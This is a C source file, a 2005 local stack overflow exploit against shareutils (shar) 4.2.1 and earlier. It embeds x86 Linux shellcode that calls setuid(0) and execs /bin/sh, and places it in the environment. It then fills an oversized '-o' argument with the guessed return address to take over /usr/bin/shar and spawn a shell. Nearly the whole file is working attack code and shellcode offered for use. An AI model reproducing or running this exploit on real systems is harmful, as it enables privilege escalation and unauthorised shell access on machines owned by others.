/*
** Title.......: flamingo.c
** Description.: local stack exploit against shareutils <= 4.2.1
** Author......: posidron <posidron@tripbit.org>
** Compilation.: gcc flamingo.c -o flamingo -Wall
** Environment.: Linux Slackware 10, Kernel 2.4.29, GCC 3.3.4
*/

#include <stdio.h>
#include <unistd.h>
#include <stdint.h>

#define BINARY          "/usr/bin/shar"
#define PAYLOAD_SIZE    361

char shell[] = "\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68"
               "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
               "\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31"
               "\xc0\x31\xdb\xb0\x01\xcd\x80";

int main (void) {
  char     *env[2];
  char     *payload;
  uint32_t raddr, i;

  printf("\nlocal stack exploit against shareutils <= 4.2.1");
  printf("\nby posidron - 2oo5                             ");
  printf("\n-----------------------------------------------");

  raddr = 0xbffffffa - strlen(shell) - strlen(BINARY);

  printf("\n[x] shellcode address in environment: 0x%x", raddr);

  if ((payload = (char *) malloc(PAYLOAD_SIZE)) == NULL) {
    printf("error: malloc();\n");
  }

  for (i = 0; i < PAYLOAD_SIZE; i += 4) {
    payload[i + 0] = (raddr & 0x000000ff) >> 0;
    payload[i + 1] = (raddr & 0x0000ff00) >> 8;
    payload[i + 2] = (raddr & 0x00ff0000) >> 16;
    payload[i + 3] = (raddr & 0xff000000) >> 24;
  }

  env[0] = shell;
  env[1] = NULL;

  printf("\n[x] spawning your shell.\n\n");

  execle(BINARY, BINARY, "-o", payload, NULL, env);

  free(payload);

  return -1;
}